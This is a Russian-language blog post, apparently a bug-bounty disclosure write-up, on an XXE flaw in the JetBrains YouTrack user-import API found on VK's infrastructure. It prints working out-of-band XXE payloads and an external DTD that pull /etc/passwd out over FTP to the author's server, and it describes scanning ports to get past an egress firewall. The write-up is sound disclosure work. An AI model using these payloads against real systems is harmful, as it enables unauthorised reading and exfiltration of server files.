Skip to main content

VK — история одного взлома

By 18 марта 2016Blog

Привет! Видел запись про XXE с помощью RSS, которая позволяла читать файлы в vk? Так вот, буквально на следующий день появилась более интересная возможность читать произвольные файлы, да не абы-где, а на проектах внутренней инфраструктуры компании. Теперь обо всём по порядку.
Началось все с того, что после брута поддоменов, нашлись интересные экземпляры…

Поддомены TeamCity, Upsource, YouTrack — это одноименные системы непрерывной интеграции, рецензирования кода и баг-трекер от компании JetBrains.

При попытке зайти на youtrack.vk.com — браузер ругался на невалидный сертификат, так как он принадлежит youtrack.vk-cdn.net. CDN так CDN — идем туда.

В целом, с найденными системами я ничего не смог сделать, подбор паролей не давал результатов, найденная XSS в YouTrack была трудноэксплуатируема (для старых IE).

Пришло время изучать API

Для YouTrack нашлась отличная документация для REST API. Тыкая в нее палкой, нашёл только enumeration-баги. Например, перебирая различные варианты обращения к проектам и изучая аномалии ответов от сервера, можно узнать какую-нибудь информацию, например имена проектов. Затем, обращаясь к номерам, можно перебрать количество тикетов.

Например:

https://youtrack.vk-cdn.net/rest/issue/ololo/execute?comment=bo0om — вернет 404
https://youtrack.vk-cdn.net/rest/issue/API-252/execute?comment=bo0om — попросит ввести логин/пароль
https://youtrack.vk-cdn.net/rest/issue/API-1337/execute?comment=bo0om — вернет 404 (такого номера тикета нет)

Но и на этом далеко не уедешь! 🙁

Но вот интересный метод Import Users! С помощью PUT запроса можно передать XML:

PUT /rest/import/users?test=1
...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/>
</list>

В качестве ответа  от сервера будет сообщение, что эта функция работает только для администратора веб-приложения 🙁

Изменив исходный запрос на XXE вектор вида
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://xxe.bo0om.ru/xxe-test">
%xxe;
]>
<list></list>

Ко мне на сервер приходит запрос:

GET /xxe-test HTTP/1.1
HOST: xxe.bo0om.ru
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive

Всё становится интереснее 🙂

Вот он - самый сок

То, что используется java — это даёт нам огромное преимущество! Напомню крутую фичу в эксплуатации XXE в JAVA от ONSEC. Суть исследования в том, что используя протокол FTP можно передавать содержимое файлов, даже если в ответе от сервера информация не передаётся. Ещё один плюс, это особенность java — обращение к директории даёт её листинг.

Создал я файл, java.dtd:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

Сел слушать 21 порт (FTP), отправляю атакующий HTTP-пакет:
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % asd SYSTEM "http://xxe.bo0om.ru/java.dtd">
%xxe;
]>
<list></list>

Ииии… Ничего не происходит. Попробовал ещё разок — ничего.
Несколько раз перепроверил вектор — вроде все отлично. Сменил порт на 80 и 443 — пусто. Может FTP каким-то образом отключено и не поддерживается?

Поставил dnschef. На самом деле это DNS сервер для выполнения MITM атак, но я его заюзал как мониторинг DNS запросов. Проверил — резолв доменного имени происходит. Значит отправка данных блокируется фаерволом (чуваки из vk знают магию iptables).

Начал перебирать порты. Долго-ли, коротко-ли брутились порты, и тут на сервер перелетает пакет…

 

Победа

Опытным путем выяснилось, что наружу пускает порт 1935, а это уже фактически — победа. Конечный dtd выглядил так:

<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

К сожалению, java была запущена не от суперпользователя (плак-плак), что очень часто бывает. Тем временем, я переместил java.dtd на домен defconrussia.ru и записал следующее видео:

Когда JetBrains узнали о уязвимости в их продукте, быстро зафиксили и сообщили где именно и какого типа уязвимость.

¯ \ _ (ツ) _ / ¯

А меня упомянуть забыли. Ну да ладно. Надеюсь, прочие 15k+ клиентов не пострадали.

Прикольно, что попав в YouTrack я бы узнал обо всех багах и уязвимостях, которые есть вконтакте и в их проектах. Достав логины и пароли — получил бы доступ к другим проектам. Получил бы доступ к upsource — получил бы доступ к исходным кодам (инфа сотка)! Так я бы стал богатым и знаменитым, осталось бы только захватить мир — и жить станет неинтересно. Поэтому я так не делал, а сообщил о найденной уязвимости и даже получил за это деньги!

Какие делаем выводы?

Всё, что предназначено для внутренней инфраструктуры — оставляем внутри, в противном случае закрываем доступ из сети Интернет
Читаем документацию
Имеем силу воли, чтоб не посмотреть одним глазком чужие исходники

Join the discussion 2 комментария

  • Mikhail:

    Или в статье не написано, или я слеп, но как наружу через порт определенный запрос сделать?(как здесь в примере стоит 1935)
    Запрос бы выглядел вот так?
    PUT /rest/import/users?test=1

    <!DOCTYPE list [

    %xxe;
    ]>

Leave a Reply